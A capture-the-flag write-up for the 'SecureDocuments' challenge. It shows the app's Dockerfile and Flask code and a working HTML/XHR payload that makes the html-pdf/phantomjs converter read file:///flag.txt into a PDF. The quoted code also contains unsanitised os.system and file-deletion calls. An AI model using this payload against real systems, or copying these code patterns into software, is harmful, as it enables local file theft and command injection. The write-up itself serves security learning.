Our company wants to present You our newest innovative idea - SecureDocuments. Using the most recent technologies we created the most secure place for your documents. https://securedocuments.pleasehackthis.site
For this challenge we’re given a URL and a source zip containing the source code the application.
When we visit the page we’re presented with a file upload form.
Let’s first take a look at the dockerfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM node:stretch
RUN apt-get update && \
apt-get install python3 python3-pip gcc -y
WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8
COPY ./app/ ./
COPY flag.txt /flag.txt
RUN python3 -m pip install -r requirements.txt
EXPOSE 5000
RUN npm install -g html-pdf
CMD ["flask", "run"]
We can see that it installs python, pip and gcc, sets up the application and also installs html-pdf
.
Let’s now take a look at the application itself.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import imghdr
import os
import uuid
import subprocess
import requests
from flask import Flask, render_template, request, redirect, url_for, abort, send_from_directory, make_response
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.html', '.txt', '.md', '.jpg', '.png']
app.config['UPLOAD_PATH'] = 'storage'
@app.errorhandler(413)
def too_large(e):
return "File is too large", 413
@app.route('/')
def index():
if not os.path.exists(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR']):
os.makedirs(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'])
files = os.listdir(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'])
return render_template('index.html', files=files)
@app.route('/', methods=['POST'])
def upload_files():
uploaded_file = request.files['file']
filename = secure_filename(uploaded_file.filename)
if filename != '':
file_ext = os.path.splitext(filename)[1]
file_to_save = uuid.uuid4().hex + file_ext
if file_ext not in app.config['UPLOAD_EXTENSIONS']:
return "Invalid file", 400
uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'], file_to_save))
return '', 204
@app.route('/uploads', methods=['POST'])
def upload():
filename = request.form['filename']
response = make_response(send_from_directory(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'], filename))
file_ext = os.path.splitext(filename)[1]
if 'htm' in file_ext:
response.mimetype = "text/plain"
return response
@app.route('/delete', methods=['POST'])
def delete():
filename = request.form['filename']
if os.path.exists(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename):
os.remove(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename)
return 'File removed successfuly - <a href="/">Go Back</a>', 200
else:
return 'File with specified name does not exist - <a href="/">Go Back</a>', 404
@app.route('/convert', methods=['POST'])
def convert():
filename = request.form['filename']
file = app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename
if os.path.exists(file):
file_ext = os.path.splitext(filename)[1]
file_uuid = os.path.splitext(filename)[0]
new_file = "./" + app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + file_uuid + ".pdf"
if file_ext == '.html':
os.system('html-pdf ./' + file + ' ' + new_file)
return 'File conversion completed - <a href="/">Go Back</a>', 200
elif file_ext == '.md':
return 'Markdown files are not supported right now - <a href="/">Go Back</a>', 200
else:
return 'File with specified extenstion cannot be converted - <a href="/">Go Back</a>', 400
else:
return 'Internal Server Error - <a href="/">Go Back</a>', 500
The application allows us to perform 4 actions:
- Upload files (Allowed extensions are: .html, .txt, .md, .jpg, .png).
- View the uploaded files.
- Remove the uploaded files.
- Convert the files to a PDF when the original file is an HTML file.
The three first actions are pretty basic, they do their thing as described. The convert feature though uses a “html-pdf” tool to convert the file.
When looking for vulnerabilities in this program we can stumble upon a vulnerability report by snyk.io describing an arbitrary file read.
(At the time of writing the current setup wouldn’t have worked since the patched 3.0.0 release is out and would be installed instead of the vulnerable version)
The report describes how it’s possible to include local/remote files via an XHR request.
The vulnerability is caused by an insecure default in the underlying phantomjs module which has “–local-url-access” set to true by default.
To exploit this vulnerability we can prepare a simple html file that upon loading will make a request to fetch the flag file and place it into the document body.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<p id="response"></p>
<script>
var output = document.getElementById("response");
var fileReq = new XMLHttpRequest();
fileReq.onload = function reqListener() {
output.innerHTML = this.responseText;
};
fileReq.open("GET", "file:///flag.txt", true);
fileReq.send();
</script>
</body>
</html>
After uploading this file to the application, we should see it listed on the main page.
Now we can click the convert icon, refresh the page and view the pdf version of our file to get the flag.
Flag: CTF{So_pDf_93N3R4TOR_c4n_sT34l_MY_f1L32!!!!!1111oN3}